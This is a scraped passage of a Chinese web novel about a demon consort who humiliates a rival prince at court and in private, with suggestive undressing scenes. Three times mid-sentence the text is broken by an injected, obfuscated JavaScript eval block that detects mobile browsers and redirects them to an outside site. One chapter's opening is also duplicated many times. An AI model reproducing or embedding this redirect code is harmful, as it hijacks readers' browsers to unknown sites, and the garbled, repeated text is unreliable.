绮雪得意洋洋地攀住贺兰寂的手臂,依偎在他身边,贺兰寂揽着他的腰,注意到他脸上的微笑:“圆圆很高兴?” 方才他不是没看到绮雪忽然跑到一边,似是顽皮了一下,但他不会用规矩约束绮雪,他的圆圆想做什么就做什么,不需要在意别人的目光。 只不过圆圆素来乖巧,很在意他这个天子的形象,在人前从来都是很严苛地遵守着宫规,以免连累他,方才也是因为所有人都没有抬头,不会注意到他小小的出格,他才这么做了。 “是呀,陛下,我特别高兴。”绮雪甜甜地回应。 尽管绮雪知道自己这一脚作用不大,但他不踩姬玉衡就是心里不舒服。 姬玉衡的气质太特别了,很容易招到小动物们的喜爱,以至于绮雪被吸引了视线,却在下一刻认出这个很吸引他的人竟然就是姬玉衡,顿时被恶心得不行,只想乱棍把姬玉衡打死。 只不过姬玉衡是这个世界的主角,受天道庇护,有大气运加身,绮雪若是想干掉他,下场只能是自己遭到反噬。 就像他上次想毒死姬玉衡,结果不仅没成功,反倒惹了自己一身腥,实在不堪回首。 所以绮雪想了想,试着踩了姬玉衡一脚,不仅是为了报复姬玉衡,也是想试试反噬的底线在哪里,如果连踩一脚都会自己倒霉,那他还是趁早别打姬玉衡的主意了。 幸好踩一脚这种事还是不算的,直到绮雪走上宝座,也没见什么意外出现,看来这在天道的准许范围之内。 既然如此,他就可以按照圣君所说的行事了…… 绮雪在心里盘算着。 就在前几日,玄阳入了他的梦,和他谈起了有关姬玉衡的事。 当时绮雪才睡下不久,忽然发现自己置身于一座熟悉的庭院,这是玄阳的庭院,他逃婚之后,便是暂住在这里,跟随玄阳学习法术。 绮雪清醒地意识到这并非真实发生的事,而是他的梦境,他被玄阳使用了入梦之术。 果然,玄阳很快从屋中走了出来,和以往不同,梦中的他没有身着道袍,只穿了一身单薄的中衣,平日梳得严整的发髻也放了下来,垂散着黑发,似是即将入睡的打扮。 中衣隐隐透光,绮雪这才注意到,玄阳看似清瘦,实则肌肉的线条相当结实有力,只是不会显得过于夸张,比较匀称,但仍然充满力量的美感。 玄阳走到绮雪面前,向他微微一笑:“你来了。” 绮雪正要向他行礼,这一回玄阳却坚持不准他跪拜,在他低头的时候,玄阳托着他的双臂,将他抱进怀里,绮雪猝不及防,就这样一脸埋进了玄阳的胸膛。 “好了。”玄阳抚摸绮雪的黑发,“这样就可以了。” 绮雪面红耳赤地从玄阳怀里退了出来:“对不起,圣君,是阿雪太失礼了!” “不要紧。”玄阳莞尔,“以后就不必向我行礼了,不然我总要抱住阿雪。” 他这下终于把绮雪治服了,绮雪立刻决定以后不向玄阳行礼了,否则次次都被玄阳抱起来,这怎么受得了。 玄阳牵起绮雪的手,将他领进屋中,面对面地坐到蒲团上。 绮雪摸了摸红红的脸,依然有点羞涩:“圣君召阿雪前来是有什么吩咐吗? “是有几句嘱托,不过主要是为了看看你。 玄阳垂怜的目光落在绮雪身上:“那天因为我的话,你一直强忍泪水,叫我如何能放心得下?总是要见一见你才能安心。 绮雪闻言心中一暖:“有劳圣君记挂,我已经没事了。那天我就和陛下谈过了,他确实不希望我怀上他的子嗣,不过都是因为爱我至深,才不希望我受生育之苦,而并非他看不起我的出身。 “是吗? 绮雪摸摸小腹,每当谈到这个话题,他总会摸一摸,仿佛摸得多了他就能怀上了:“我打算瞒着陛下偷偷地怀孕,如果真的怀上了,他总不会打掉我的孩子吧? 玄阳没有说话。 绮雪幻想够了,又问玄阳:“还不知圣君对阿雪有什么嘱托? 玄阳道:“姬玉衡不日便要入宫拜谒,他气运鼎盛,你恐怕很难阻止他成为太子,所以只需尽力而为,不必勉强自己,我们还有其他办法。 “阿雪明白。 绮雪点点头,早在上一回他刺杀姬玉衡的时候,他就已经领教过姬玉衡的气运有多强了,那注定是一场失败的暗杀,甚至他能保全自己的性命就已经算是很走运了。 只是他又不甘心:“难道我们没有办法破坏姬玉衡和谢殊的气运吗? 玄阳:“这就是我要嘱托你的,办法的确存在,只是很难,需要你我一同努力。 接下来玄阳向绮雪详细地解释了何为气运,气运为何与天道相连,以及该如何破坏谢殊和姬玉衡这两个主角的气运。 天道,可以理解为这个世界的自然法则,天道的存在就是为了维持世界的正常运转,一旦天道不存,世界也将湮灭,所以天道力量宏大,任何人都无法与其相抗衡,哪怕神灵也是如此。 天道庇佑着世间万物,赋予生灵力量,也就是每个生灵所得到的气运。 但气运是不平等的,有气运薄的人,也有大气运之人,姬玉衡和谢殊所获得的气运就是最多的,甚至比玄阳这等神灵的气运还丰厚。 所以哪怕玄阳是神,也杀不掉姬玉衡这个凡人,原因就是他的气运不如姬玉衡。 “但气运不是永恒不变的。玄阳微笑,“只要方法得当,就可以削减他们的气运,这就是我派遣你前来上京的缘由。 “我希望你搅弄得世间永无宁日,是为了破坏谢殊的气运。 “他身为大雍国师,不仅有自身的气运庇佑,更有大雍的国运加持,受万民的香火供奉,唯有让他做不成国师、遭受大雍子民的唾弃,才能破坏他的气运。 “而姬玉衡的气运在于他自身。他是至纯至善之人,心性坚定清正,若要破坏他的气运,则需折辱他、践踏他,污秽他的心性、使他堕落,一旦他堕入恶欲,便如明珠蒙尘,气运自然消散。 绮雪眼睛一亮:“换句话说,是不是我只要拼命欺负和羞辱姬玉衡,让他对我心生杀念,他的气运就会消失了? 玄阳颔首:“不错。 这简直不要太轻松了,想要羞辱姬玉衡还不容易吗,他一下子就想到好几种办法了! 绮雪兴奋地摩拳擦掌,对姬玉衡滔天的恨意极大地激发了他的灵感,甚至恨不得现在就把姬玉衡抓过来实践一番,将他折磨得不成人形。 玄阳:“谢殊那边由我想办法,我将姬玉衡交给你,阿雪,你能为我办到吗? “阿雪绝不会辜负圣君的期望,若事情不成,便叫阿雪提头来见!绮雪赌咒发誓。 “你不必发毒誓,我舍不得这样对你。 玄阳轻笑,柔和地注视绮雪:“我们的道路注定充满荆棘,阿雪,我很高兴有你陪伴我,才叫我没有那么孤独和煎熬。 绮雪受宠若惊,甜甜地说:“这都是阿雪应该做的,阿雪一定会陪圣君走到最后,哪怕粉身碎骨也在所不惜。 “我不需要你粉身碎骨,你能平安比什么都重要。 玄阳说到这里,忽然问绮雪:“阿雪,你愿意和我双修吗? “……?绮雪瞪大眼睛,“! 玄阳轻声叹息:“我担心你,希望你尽快提升妖力。与贺兰寂双修,你能得到的妖力终究有限,但如果与我双修,提升妖力的速度就会变得截然不同,你的力量很快就能媲美一方妖王。 “不……不行的! 尽管玄阳的说辞诱人无比,但绮雪还是一口回绝,满脸通红地摇头:“我怎么能和圣君双修呢? “为什么不行?玄阳问,“妖族不重贞洁,莫非你还要为贺兰寂守贞? 绮雪迟疑了一下,回答他:“这是原因之一,虽然我不看重贞操,但陛下是人类,也许他会非常看重,我不希望他伤心。 “还有呢?玄阳道。 “当然是因为,我不敢对圣君有这般心思…… 绮 雪吞吞吐吐,甚至觉得解释都是冒犯,对他来说,玄阳是他的神灵,亦如他的父亲和兄长,他对玄阳的情感是极为纯粹的:“这是对圣君的亵.渎。” “如果我允许你亵.渎我呢?” 玄阳抚上绮雪的侧脸,摩挲着他柔嫩的肌肤:“你愿意和我双修吗?” 绮雪仍然摇头,害羞地躲开玄阳的手:“真的不行……” “也罢,我不能勉强你,那就随你的意思。”玄阳收回手,“如果你日后改变主意,随时告诉我。” “多谢圣君。”绮雪难为情地道谢。 “你休息吧,我应当离开了。” 玄阳将绮雪送出庭院,意味着入梦之术即将结束了。 绮雪推开门扉,在即将踏出门槛的一刻,玄阳站在他的身后,突然轻声开口:“我会想念阿雪。” 这是他们每次分别的时候,绮雪会对玄阳说的话,这一次却是玄阳先一步说了出来。 绮雪怔了一下,回首朝玄阳展露笑颜:“我也会想念圣君的。” 玄阳深深地看着他:“睡吧。” 他退出了绮雪的梦,梦境中霎时变得一片黑暗,绮雪很快便熟睡过去。 醒来之后,绮雪还清清楚楚地记得这个梦,他也曾有过一瞬间的闪念,玄阳是不是倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462984|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心于他,或许是他产生了错觉,他总觉得玄阳对他的态度有些暧昧。 但很快绮雪就否定了这个想法,并深深地感到羞愧,觉得自己还是亵.渎了玄阳。 圣君是洞渊神灵,垂怜世间万物,他的爱是大爱,怎么可能囿于俗气的男欢女爱?他未免太过小瞧圣君了。 圣君只是怜惜他,才愿意将这具化身供给他双修,他们妖族又不是人类,完全没有所谓贞洁的说法,圣君也只是将身体当成了提升修为的工具。 唉……明明圣君对他这样偏爱,他却还是拒绝了圣君,是不是有些不识抬举了? 可他或许是被人族的贞洁观念影响了,他就是做不到和圣君双修,哪怕换成任何人都可以,唯独圣君不行,他接受不了。 …… 绮雪坐在宝座上,出神地回想着那天发生的事,直到阶下的宗亲藩王们齐声谢过天子和贵妃,他被这阵宏大的声音惊醒,这才回过神来,意识到自己身在何处。 他不再想着玄阳,目光扫过阶下,很轻松地凭感觉找到了姬玉衡,心里冒起一股股的坏水,琢磨着该如何对付姬玉衡。 如果可以,他最想做的还是阻止姬玉衡成为太子,这样就能一劳永逸了,当然了 ,他同时也会狠狠地羞辱姬玉衡,哪怕不是差事,他也很愿意去做,该用什么样的办法呢…… 绮雪又忍不住走神了,坐在他身边的贺兰寂察觉到他的心不在焉,以为他只是无聊,轻轻地握住他的手,冰冷漠然的目光扫向阶下,居高临下地审视着每一个宗亲后嗣。 在这样的场合下,没有人胆敢与贺兰寂目光相接,他的威严太重,所有人都被深深地震慑着,尤其是那些尚且年幼的孩子,被贺兰寂吓得连哭都不敢,躲在大人的怀抱里瑟瑟发抖着。 薛总管高声通传:“宣,藩王觐见! 宗亲们按照品级高低,轮次朝拜天子和贵妃。 他们当中的大多数人都较为年轻,年长的也是为了带着孩子谒见天子,此次贺兰寂召集宗亲入京,是为了选拔储君,对年龄上自然有要求,必须在十岁到三十岁之间,男女皆可,在大雍,无论是男子还是女子都可称帝。 贺兰寂接受着他们的拜贺,从始至终一言不发,文武百官同样站在阶下静静地观看,但其实他们在心中早就有一番计较,各自有心仪的储君人选。 姬玉衡就是他们心中的佼佼者,论名望、论能力、论品行,甚至是论容貌,姬玉衡都当属第一,是太子的不二之选。 当然,原著中他的太子之路自然不可能一帆风顺,否则剧情就书无可书了。 在贺兰寂将他立为储君之前,姬玉衡经历了各种明枪暗箭、勾心斗角,堪称险象环生,不过最后总是能被他化险为夷。 绮雪忽然想起了一件事:原著中,姬玉衡的贺礼曾被人动过手脚,一会他上前朝贺的时候就会发生意外,他大可以借着这个机会刁难姬玉衡,先让他丢个大脸。 过去将近半个时辰,绮雪坐得屁股都疼了,在他的期盼中,姬玉衡终于上前朝贺,他身后跟随着两名宫女,手中捧着他为天子和贵妃准备的贺礼。 “南平世子姬玉衡,参见陛下、参见……贵妃娘娘。 姬玉衡登上玉阶,来到建章殿前,低垂着头颅,向贺兰寂和绮雪行跪拜之礼。 在说出“贵妃娘娘几个字之前,他温润的声音出现了一瞬间的停顿,旋即被他完美地掩饰过去。 正在此时,他身后的宫女轻呼一声,手中的宝匣突然开裂,满满一匣的名贵南珠就这样“噼里啪啦地掉了出去,散落了满地。 “嗒、嗒…… 一颗南珠向上弹去,刚好滚到了绮雪的脚下。 绮雪伸出脚,轻轻踩住南珠,让南珠在足底滚动了几圈。 发生这样的意外,全场的宫女和内侍都面色发白,正要弯腰去捡,绮雪却叫住了他们:“你们不要捡。” 宫人们停住了动作,规矩地站了回去,绮雪足尖一夹,将脚下的南珠捏在指间,仪态优美地从宝座上起身,一步步朝下走去,来到姬玉衡面前。 “世子大人。” 绮雪的语气轻轻的,很是柔和,微微俯身朝跪在地上的姬玉衡说:“这盒南珠是送给本宫的礼物吗?” “是,贵妃娘娘。”姬玉衡不曾抬头,恭恭敬敬地回答。 “可是你送给我的礼物竟然洒了满地。”绮雪故作为难地说,“我很生气,这可怎么办?” 姬玉衡说:“臣有罪,未能将贺礼献与娘娘,任凭娘娘发落。” “世子不必惊慌,我也不是什么坏心肠的人,不会重重罚你,你快起身吧。” 绮雪温柔地将姬玉衡从地上拉起来,对他说:“我只想罚你将所有的珠子捡回来,放回匣子里,有问题吗?” 姬玉衡垂着眼睛:“没有问题。” “要是你办不到的话……” 绮雪取出指间的南珠,柔软的指腹抵住姬玉衡的唇瓣,强迫他张开嘴,将他踩过的珠子含进去。 “作为惩罚,少了几颗,你就要挨我几鞭子。” 他的手指顺着姬玉衡的下颌往下滑,滑过咽喉和锁骨,点着他的胸膛:“我打人很疼的,你可千万要小心了。” 作者有话要说 姬玉衡:我知道,小兔子这么做是为了替我解围,他真好,我好爱他。 兔团:才不是!!(气急败坏)(狂跺兔jio)(用兔耳朵狂抽姬玉衡)(被姬玉衡亲兔耳朵)(呆住)(又被亲粉鼻尖) 感谢汤圆小猫的火箭炮,以及今天也没有发疯、纯良比格、卿安、从霜雪枝、53689147和绮桾的地雷! 第 37 章 结结实实地坐在了... 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462985|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 第37章结结实实地坐在了 绮雪的指尖沿着姬玉衡的胸膛继续向下划,一直划到腰腹,哪怕隔着衣裳的布料,也能够隐约感受到这具身体的肌肉有多么饱满紧实,充满了年轻人蓬勃旺盛的生命力。 当他碰到腹肌的时候,姬玉衡轻轻地抽了口气,腹部紧绷着向内收缩,像是很害怕绮雪的触碰。 第 38 章 38(加更) 第38章38(加更) 姬玉衡没有想到绑架他的人竟然是绮雪。 方才他正在前往丞相府的路上,打算把写好的陈情书匿名送到李丞相手中,却突然被一头狰狞巨大的妖魔拦住了去路。 这一回为了隐秘地送信,他没有乘坐马车,只带了一个负责递信的仆从,仆从当场被妖魔吓晕了,而他正欲抽出随身携带的短剑与妖魔相抗,一伙人马趁他不备,从背后袭击了他,将他重重打倒在地上。 他濒临昏迷,却没有完全失去意识,隐约感觉到这些人用麻袋装起了他,并将他搬到马车上,带他离开了此处。 他躺在马车上,渐渐清醒过来,保持着原本的姿势不动,计划通过偷听匪徒的谈话,弄清他们的来历,不料匪徒们非常谨慎,坐在车中一言不发,就这样到达了目的地。 麻袋被抬进屋中,姬玉衡闭着眼睛,感觉到一阵光亮落在眼皮上,是麻袋的袋子被打开了。 一股淡淡的熏香味萦绕在姬玉衡的呼吸间,此时匪徒们终于不再刻意隐瞒身份,在他身边交谈,他这才知道幕后指使就是绮雪。 可雪公子为什么绑架他,难道就只是为了捉弄他吗? 一想到绮雪就在自己身旁,姬玉衡的心有如无根的浮萍,随波逐流,上上下下地沉浮,不得片刻宁静。 但他没有睁开眼睛,他并不担心自己的安危,无论如何,他知道雪公子都不会害他的性命,他…… 正想着,丰盈饱满的面团忽然落在他脸上,又热又软地挤压着他的鼻梁,叫他喘不过气来。 闻到馥郁的幽香,姬玉衡意识到发生了什么,不由得面红耳赤,连脖颈都染上了绯色。 他不敢呼吸,也装不下去昏迷了,小心地将摔倒的绮雪托了起来,自己也坐起身,跪在绮雪面前:“还请娘娘……恕臣冒犯之罪。 明明是绮雪将他绑来的,他却乖乖地跪下来请罪,还要担心自己惹得绮雪不悦。 绮雪被突如其来的滑倒吓了一跳,坐在椅子上平复着情绪,顺手摸摸自己的腿,还好没事,他倒不是担心别的,就是怕自己不小心摔断了腿。 看来他果真动不得姬玉衡,只是拖来凶器而已,还什么都没干,就遭到报应了。 绮雪默默叹气,嫉妒地看向姬玉衡,这小子究竟何德何能,凭什么他就是主角,拥有这么旺盛的气运,难道他就真的拿他一点办法也没有吗? 他越想越生气,照着姬玉衡的脸扇了过去,甩了他一耳光 只可惜不敢用力再加上他本就力气小落下去不痛不痒的更像是拍了拍姬玉衡的脸。 姬玉衡一动不动任由绮雪拿他撒气绮雪又踢了他两脚也是不敢使劲都没让姬玉衡感觉到疼反倒把自己憋得快内伤了 “启禀娘娘恕臣愚钝臣不知。”姬玉衡垂首说道。 “因为我讨厌你。” 绮雪揪住他的衣领让他身体向前倾:“我恨你……恨你那么狠心、那么伪善。人人都称赞你是君子但你是什么样的人我最清楚姬玉衡你真是虚伪得令我作呕。” 他的语气中流露出惊人的恨意狠狠地在姬玉衡的心尖上剜出血淋淋的缺口令他的心疼得止不住地颤抖。 姬玉衡当然不清楚绮雪憎恶他的真正原因只能将缘由归结于他们的那一晚。 那天晚上他为了帮雪公子解除药性用药汁涂遍了他的全身看光了他的身体。尽管没有真的碰雪公子可他终究还是冒犯了他甚至可耻地藏起了染着他香味的中衣。 雪公子嫌恶他也是理所应当的他的的确确就是一个伪君子不配得到雪公子的喜欢。 “对不起。”姬玉衡心如刀割甚至忘记了两人身份的差距痛苦地道歉“全都是我的错你想怎样处置我都可以我任凭你发落。” “说得好听。” 绮雪冷哼一声他又不能真的拿姬玉衡怎么样:“你自戕吧死了我就原谅你。” 姬玉衡沉默半晌缓缓站起身来:“如果这是你想要的……” “别!” 见他要来真的绮雪连忙拽住他的衣角。开什么玩笑如果姬玉衡真的要赴死那最后死的人肯定不是姬玉衡自己而是别的什么人就比方说他这个倒霉蛋。 被绮雪拉住衣角姬玉衡的心绪复杂难言既有酸涩和愧疚却也有一丝不可言说的喜悦:小兔子还是那个小兔子他太善良了也太心软了哪怕憎恨着他也舍不得让他送死。 无需绮雪多言姬玉衡重新跪了下来睫毛低垂着神色温柔而驯顺。 绮雪很想踹他一脚可腿抬到一半又缓缓放了下来他怕把姬玉衡踹疼了又会反噬到自己身上。 该怎么做才能羞辱姬玉衡又不让他感觉到疼呢? 绮雪琢磨着坏主意考虑了一会他抬起足尖轻轻地踢了踢姬玉衡:“任凭我发落吗?那就跪着替我捏脚像伺候主人一样伺候我。” 他又踢 了踢姬玉衡的大腿,叫他单膝跪地,将一条小腿架在他曲起的大腿上:“以后你就是我的奴隶了,每晚都要到承露宫伺候我,听懂了吗?” 刚好陛下近来为了立储的事宜比较忙,每日都要处理政事到很晚,他只要等到深夜再去找陛下就可以了,晚上的时间用来折磨姬玉衡,简直再合适不过。 “……是。” 姬玉衡呼吸一颤,轻轻地捧起绮雪的脚:“……要脱掉鞋袜吗?” “废话,不脱怎么捏。” 绮雪踩了一脚姬玉衡的胸膛,故意吓唬他:“别想偷懒,要是你捏得我不舒服,我就治你死罪。” 他这一脚和奶猫蹬人撒娇没什么区别,姬玉衡被他踩得心里发软,骨头缝里升起一股酥酥的麻痒,让他的指尖胀得有点发麻。 姬玉衡依然猜不透绮雪的想法,如果雪公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592124|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子真的恨他那晚轻薄了他,又怎么会任由他触摸他赤.裸的脚,难道雪公子真的认为这是对他的折辱和报复吗? 姬玉衡当然不可能有被折辱的感觉,甚至他所有的难堪都来源于内心的喜悦,他知道自己不应该高兴的,他在很努力地忍耐了,可是…… 看到姬玉衡露出羞愧难当的表情,绮雪以为自己对他的羞辱起效了,不由得暗中窃喜。 他又轻轻踩了踩姬玉衡的大腿:“怎么这么慢,难道你在用嘴给我脱鞋袜吗?要是再磨磨蹭蹭的,信不信我让你给我舔.脚呀?” 此言一出,绮雪觉得自己真是大有长进,实在是太恶毒了,他怎么连这么歹毒的计策都想得出来。 不过现在就让姬玉衡舔是不行的,羞辱也要循序渐进地来,否则他真怕姬玉衡一怒之下杀了他,再说他其实也受不了自己的脚被人舔。 “……” 姬玉衡满脸通红地低下头,脱掉绮雪的鞋袜,露出美玉雕刻般的雪足。 他不是第一次见到绮雪的脚了,但那晚烛光暗淡,如同覆上了一层薄纱,一切都是朦胧的,而现在一切都是这么清晰分明,他甚至冒犯地将美人玲珑的雪足捧在掌心上,亲手感受到肌肤的盈润和娇嫩。 姬玉衡几乎怔住了,整个人像是被架在蒸笼里,水雾沸腾,蒸得他浑身是汗,源源不断地冒出热气。 他不敢动,覆在足背上的修长手指竟微微颤动着,仿佛握在手中的是什么易碎的稀世珍宝,他连用力碰一碰都是对珍宝的玷污。 绮雪见他发呆,很是不满地催促他:“愣着做什么,觉得很委屈吗?委屈也要给我捏,不然我绑你来做什么?” “不是这样,娘娘……我没觉得委屈。” 姬玉衡喉结滚动,觉得喉咙里有些干渴,艰难而干涩地开口:“这不是对我的羞辱,如果你真的恨我,就应该对我动刑,真正地鞭笞我、伤害我,而不是让我为你捏脚……这太轻了。” 绮雪大怒:“你以为我不想吗!” 还不是因为做不到! 可在姬玉衡的视角里,却成了另一种意思:绮雪想这么做,也确实可以这么做,可他并没有选择这样对待他,是因为……舍不得让他受刑吗? 姬玉衡的手颤得厉害,深深地低下头,轻声对绮雪说:“你可以尽情伤害我,怎么样对我都没关系,只是为你捏脚,这不是对我的惩罚,而是……而是褒奖。” “你骗谁呢,你看你都生气到发抖了。” 绮雪嗤了一声,只把姬玉衡的一番话当成他的鬼话连篇:“如果连捏脚都是褒奖,那我亲你一口,你岂不是能高兴得飞上天了?” 作者有话要说 兔团:鸡饲料骗谁呢,怎么可能有人喜欢捏兔jio的!还是兔爪爪比较香(自豪抬兔爪)(放出来给贺兰寂捏捏) 感谢纯良比格和超级蛋花卷的地雷! 第 39 章 都怪我污了娘娘的... 第39章都怪我污了娘娘的. 绮雪面露不屑之色,像是讲了一个很无聊的笑话,却不知正中姬玉衡的心事。 对于姬玉衡来说,绮雪的亲吻何止是褒奖,哪怕说是天大的赏赐也不为过。 前几天在大殿中,绮雪亲吻贺兰寂的画面依然清晰地印在他的脑海里,他心生羡慕,也饱含酸楚,却不敢将贺兰寂的位置替换成自己。 他很清楚绮雪不属于他,哪怕只是想一想,也是对绮雪的亵.渎,所以他不能这么做,他既然已经做了错事,就不该一错再错下去,必须停止对绮雪的肖想。 可是今晚,雪公子却把他带到了寝宫,还让他…… 姬玉衡说不出话,实在没有颜面承认自己确实想要绮雪的亲吻,绮雪还以为自己把姬玉衡问住了,不由洋洋得意,轻哼一声说道:“真以为能骗到我,你把我当成傻瓜吗? “我没有这个意思…… “少狡辩。绮雪突然坐了起来,又想到了新的好主意,“你不是说不够羞辱你吗?那好啊,你把衣裳脱光了,不着寸缕地给我当奴隶,是不是够羞辱了? “……红晕迅速蔓延到姬玉衡的耳朵和脖颈,他断然否决,“真的不行,娘娘,别的要求都可以,唯独脱衣服不行,我…… “你不想脱? 绮雪见他反应激烈,顿时眼神一亮:“你越不想脱,我就越要看你脱,快脱! 姬玉衡难堪地摇头:“若是被外人看到,我的名节无关紧要,却唯恐有损娘娘的清誉,还是请娘娘收回成命,另换要求吧。 “我就是要看你脱光衣服。 绮雪觉得姬玉衡之所以表现得这么抗拒,一定是因为他戳到了他的痛处,所以今晚姬玉衡非脱不可,如果他不自己脱,那他就帮忙好了。 绮雪从椅子上站了起来,眉眼间染上危险又妩媚的笑意:“姬玉衡,我知道了,你这样躲躲藏藏的,是不是因为随身藏着凶器,准备行刺我,才不敢脱衣服? 姬玉衡一怔,为自己解释:“我随身佩戴的短剑已经叫娘娘的手下收走了,再没有其他兵器了。 “口说无凭,你得拿出证据,要不然我怎么信你? 绮雪居高临下地站在他面前,俯身拍了拍他的面颊。 “堂堂的南平世子居然对我这个柔弱的后宫嫔妃心怀不轨、意欲行刺,要是我告诉陛下,你说会不会连累到你的娘亲,还有你那些远在南平的父老乡亲呢? 其实绮雪也就是随便说说,他从来不打算伤害无辜之人的性命,若是他滥杀无辜,那岂不是就和原著中屠戮了大荔山的谢殊一样恶心,他做不出来这样的事。 姬玉衡陷入了沉默,其实他不认为绮雪会把这件事告诉贺兰寂,否则绮雪自己也有麻烦,但既然绮雪这样说了,就说明他今天决不会善罢甘休,无论用什么手段,他都要让他把衣服脱掉,否则很有可能会叫内侍进来按着他扒衣服。 “好。 “脱吧。绮雪坐了回去,慵懒地支起下颌,看着姬玉衡跪在他脚边脱衣服。 姬玉衡摘下发冠,将黑发散落下来,接着解开腰带,将外袍和中衣脱了下来,赤.裸着挺拔健美的上身。 他面如冠玉,气质清雅贵气,肤色也白,绮雪平时倒是能看出他的身材很好,却没想到他的肌肉比想象中的更结实,脊背和胸肌都很宽阔,腹肌也块垒分明,隐约能看到向下延展的青筋。 绮雪上下扫视一番,将姬玉衡看得脸红,这才说:“转过去,我看看你带没带兵器。 姬玉衡站起身来,将衣服放到椅背上,听话地转过身去,后背肌肉的线条也相当漂亮,是标准的宽肩窄腰,更显出手臂和双腿的修长。 他当然没有随身携带兵器,后腰也没有藏着什么,绮雪的视线扫过一圈,见他停下动作,不满地说:“怎么不脱了,继续呀。 姬玉衡迟疑地问:“裤子也要脱?连亵.裤也要? 绮雪语气温柔:“需要我为世子大人解释一遍‘不着寸缕’是什么意思吗? “……姬玉衡沉默而害羞地摇头,继续解开裤带。 其实脱下第一件才是最难下定决心的,到了这一步,脱光与不脱光已经没有区别了,他的颜面在绮雪面前早就荡然无存了。 随着布料轻微的摩擦声,最后一件衣服也落地了,姬玉衡低垂着头,耳朵红如滴血,已经无需绮雪的命令,温顺地在他面前跪了下来。 他不敢直视绮雪的脸,完全不知道绮雪已经震惊地睁圆了双眸,像一只受惊的猫,语气带着一丝颤抖:“你……你还说你没藏兵器?这不是兵器是什么? 他不说还好,一说姬玉衡就更害羞了,自卑而惭愧地闭上眼睛:“对不起……都怪我污了娘娘的眼睛。 绮雪浑身都不自在,迅速偏开视线,可是这样他又觉得太丢面子了,他怎么能在姬玉衡面前露怯,所以硬是逼着自己将视线转回来。 他的语 